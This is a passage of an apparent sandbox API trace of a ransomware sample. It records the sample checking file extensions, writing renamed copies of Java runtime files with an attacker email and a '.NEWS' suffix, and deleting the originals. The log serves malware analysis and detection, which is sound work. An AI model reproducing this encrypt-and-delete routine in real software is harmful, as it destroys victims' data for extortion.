lpString2=".jar") returned -1 [0160.781] lstrlenW (lpString=".docx") returned 5 [0160.781] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0160.781] lstrlenW (lpString=".pdf") returned 4 [0160.781] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0160.781] lstrlenW (lpString=".xls") returned 4 [0160.781] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0160.781] lstrlenW (lpString=".xlsx") returned 5 [0160.781] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0160.781] lstrlenW (lpString=".ppt") returned 4 [0160.782] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0160.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0160.782] lstrlenW (lpString=".zip") returned 4 [0160.782] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0160.782] lstrlenW (lpString=".rar") returned 4 [0160.782] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0160.782] lstrlenW (lpString=".bz2") returned 4 [0160.782] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0160.782] lstrlenW (lpString=".7z") returned 3 [0160.782] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0160.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0160.782] lstrlenW (lpString=".dbf") returned 4 [0160.782] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0160.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0160.782] lstrlenW (lpString=".1cd") returned 4 [0160.782] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0160.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0160.782] lstrlenW (lpString=".jpg") returned 4 [0160.782] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0160.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0160.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0160.782] lstrlenW (lpString=".doc") returned 4 [0160.782] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0160.782] lstrlenW (lpString=".docx") returned 5 [0160.782] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0160.782] lstrlenW (lpString=".pdf") returned 4 [0160.782] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0160.782] lstrlenW (lpString=".xls") returned 4 [0160.782] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0160.782] lstrlenW (lpString=".xlsx") returned 5 [0160.782] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0160.782] lstrlenW (lpString=".ppt") returned 4 [0160.782] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0160.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0160.782] lstrlenW (lpString=".zip") returned 4 [0160.782] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0160.783] lstrlenW (lpString=".rar") returned 4 [0160.783] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0160.783] lstrlenW (lpString=".bz2") returned 4 [0160.783] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0160.783] lstrlenW (lpString=".7z") returned 3 [0160.783] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0160.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0160.783] lstrlenW (lpString=".dbf") returned 4 [0160.783] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0160.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0160.783] lstrlenW (lpString=".1cd") returned 4 [0160.783] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0160.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0160.783] lstrlenW (lpString=".jpg") returned 4 [0160.783] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0160.783] lstrcmpiW (lpString1=".0_144\\lib\\ext\\meta-index", lpString2=".NEWS") returned -1 [0160.783] lstrlenW (lpString="meta-index") returned 10 [0160.783] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.784] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1461) returned 1 [0160.784] CloseHandle (hObject=0x474) returned 1 [0160.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0160.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.784] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.784] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.784] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.784] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0160.786] GetLastError () returned 0x0 [0160.786] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x5b5, lpOverlapped=0x0) returned 1 [0160.788] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0160.789] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.789] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xe8, lpOverlapped=0x0) returned 1 [0160.789] SetEndOfFile (hFile=0x4b8) returned 1 [0160.789] CloseHandle (hObject=0x4b8) returned 1 [0160.789] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.789] SetEndOfFile (hFile=0x474) returned 1 [0160.792] CloseHandle (hObject=0x474) returned 1 [0160.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0160.793] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1 [0160.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0160.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0160.793] lstrlenW (lpString=".doc") returned 4 [0160.793] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0160.793] lstrlenW (lpString=".docx") returned 5 [0160.793] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0160.793] lstrlenW (lpString=".pdf") returned 4 [0160.793] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0160.793] lstrlenW (lpString=".xls") returned 4 [0160.793] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0160.793] lstrlenW (lpString=".xlsx") returned 5 [0160.794] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0160.794] lstrlenW (lpString=".ppt") returned 4 [0160.794] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0160.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0160.794] lstrlenW (lpString=".zip") returned 4 [0160.794] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0160.794] lstrlenW (lpString=".rar") returned 4 [0160.794] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0160.794] lstrlenW (lpString=".bz2") returned 4 [0160.794] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0160.794] lstrlenW (lpString=".7z") returned 3 [0160.794] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0160.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0160.794] lstrlenW (lpString=".dbf") returned 4 [0160.794] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0160.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0160.794] lstrlenW (lpString=".1cd") returned 4 [0160.794] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0160.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0160.794] lstrlenW (lpString=".jpg") returned 4 [0160.794] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0160.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0160.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0160.794] lstrlenW (lpString=".doc") returned 4 [0160.794] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0160.794] lstrlenW (lpString=".docx") returned 5 [0160.794] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0160.794] lstrlenW (lpString=".pdf") returned 4 [0160.794] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0160.794] lstrlenW (lpString=".xls") returned 4 [0160.794] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0160.794] lstrlenW (lpString=".xlsx") returned 5 [0160.795] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0160.795] lstrlenW (lpString=".ppt") returned 4 [0160.795] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0160.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0160.795] lstrlenW (lpString=".zip") returned 4 [0160.795] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0160.795] lstrlenW (lpString=".rar") returned 4 [0160.795] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0160.795] lstrlenW (lpString=".bz2") returned 4 [0160.795] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0160.795] lstrlenW (lpString=".7z") returned 3 [0160.795] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0160.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0160.795] lstrlenW (lpString=".dbf") returned 4 [0160.795] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0160.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0160.795] lstrlenW (lpString=".1cd") returned 4 [0160.795] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0160.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0160.795] lstrlenW (lpString=".jpg") returned 4 [0160.795] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0160.795] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0160.795] lstrlenW (lpString="nashorn.jar") returned 11 [0160.795] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.797] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=2022734) returned 1 [0160.797] CloseHandle (hObject=0x474) returned 1 [0160.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0160.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0160.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0160.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0160.797] lstrlenW (lpString=".doc") returned 4 [0160.797] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0160.797] lstrlenW (lpString=".docx") returned 5 [0160.797] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0160.797] lstrlenW (lpString=".pdf") returned 4 [0160.797] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0160.797] lstrlenW (lpString=".xls") returned 4 [0160.797] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0160.797] lstrlenW (lpString=".xlsx") returned 5 [0160.798] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0160.798] lstrlenW (lpString=".ppt") returned 4 [0160.798] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0160.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0160.798] lstrlenW (lpString=".zip") returned 4 [0160.798] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0160.798] lstrlenW (lpString=".rar") returned 4 [0160.798] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0160.798] lstrlenW (lpString=".bz2") returned 4 [0160.798] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0160.798] lstrlenW (lpString=".7z") returned 3 [0160.798] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0160.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0160.798] lstrlenW (lpString=".dbf") returned 4 [0160.798] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0160.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0160.798] lstrlenW (lpString=".1cd") returned 4 [0160.798] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0160.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0160.798] lstrlenW (lpString=".jpg") returned 4 [0160.798] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0160.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0160.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0160.798] lstrlenW (lpString=".doc") returned 4 [0160.798] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0160.798] lstrlenW (lpString=".docx") returned 5 [0160.798] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0160.798] lstrlenW (lpString=".pdf") returned 4 [0160.798] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0160.798] lstrlenW (lpString=".xls") returned 4 [0160.798] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0160.798] lstrlenW (lpString=".xlsx") returned 5 [0160.799] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0160.799] lstrlenW (lpString=".ppt") returned 4 [0160.799] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0160.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0160.799] lstrlenW (lpString=".zip") returned 4 [0160.799] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0160.799] lstrlenW (lpString=".rar") returned 4 [0160.799] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0160.799] lstrlenW (lpString=".bz2") returned 4 [0160.799] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0160.799] lstrlenW (lpString=".7z") returned 3 [0160.799] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0160.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0160.799] lstrlenW (lpString=".dbf") returned 4 [0160.799] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0160.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0160.799] lstrlenW (lpString=".1cd") returned 4 [0160.799] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0160.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0160.799] lstrlenW (lpString=".jpg") returned 4 [0160.799] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0160.799] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0160.799] lstrlenW (lpString="sunec.jar") returned 9 [0160.799] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.800] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=42185) returned 1 [0160.800] CloseHandle (hObject=0x474) returned 1 [0160.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20 [0160.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.801] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.801] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.801] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.801] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0160.802] GetLastError () returned 0x0 [0160.802] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0xa4c9, lpOverlapped=0x0) returned 1 [0160.805] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xa4d0, lpOverlapped=0x0) returned 1 [0161.206] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.207] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xe6, lpOverlapped=0x0) returned 1 [0161.207] SetEndOfFile (hFile=0x4b8) returned 1 [0161.207] CloseHandle (hObject=0x4b8) returned 1 [0161.207] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.207] SetEndOfFile (hFile=0x474) returned 1 [0161.211] CloseHandle (hObject=0x474) returned 1 [0161.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0161.211] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1 [0161.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0161.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0161.217] lstrlenW (lpString=".doc") returned 4 [0161.217] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0161.217] lstrlenW (lpString=".docx") returned 5 [0161.217] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0161.217] lstrlenW (lpString=".pdf") returned 4 [0161.217] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0161.217] lstrlenW (lpString=".xls") returned 4 [0161.217] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0161.217] lstrlenW (lpString=".xlsx") returned 5 [0161.217] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0161.217] lstrlenW (lpString=".ppt") returned 4 [0161.217] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0161.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0161.217] lstrlenW (lpString=".zip") returned 4 [0161.217] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0161.217] lstrlenW (lpString=".rar") returned 4 [0161.217] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0161.217] lstrlenW (lpString=".bz2") returned 4 [0161.217] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0161.218] lstrlenW (lpString=".7z") returned 3 [0161.218] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0161.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0161.218] lstrlenW (lpString=".dbf") returned 4 [0161.218] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0161.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0161.218] lstrlenW (lpString=".1cd") returned 4 [0161.218] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0161.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0161.218] lstrlenW (lpString=".jpg") returned 4 [0161.218] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0161.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0161.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0161.218] lstrlenW (lpString=".doc") returned 4 [0161.218] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0161.218] lstrlenW (lpString=".docx") returned 5 [0161.218] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0161.218] lstrlenW (lpString=".pdf") returned 4 [0161.218] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0161.218] lstrlenW (lpString=".xls") returned 4 [0161.218] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0161.218] lstrlenW (lpString=".xlsx") returned 5 [0161.218] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0161.218] lstrlenW (lpString=".ppt") returned 4 [0161.218] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0161.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0161.218] lstrlenW (lpString=".zip") returned 4 [0161.218] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0161.218] lstrlenW (lpString=".rar") returned 4 [0161.218] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0161.218] lstrlenW (lpString=".bz2") returned 4 [0161.218] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0161.218] lstrlenW (lpString=".7z") returned 3 [0161.218] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0161.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0161.219] lstrlenW (lpString=".dbf") returned 4 [0161.219] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0161.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0161.219] lstrlenW (lpString=".1cd") returned 4 [0161.219] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0161.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 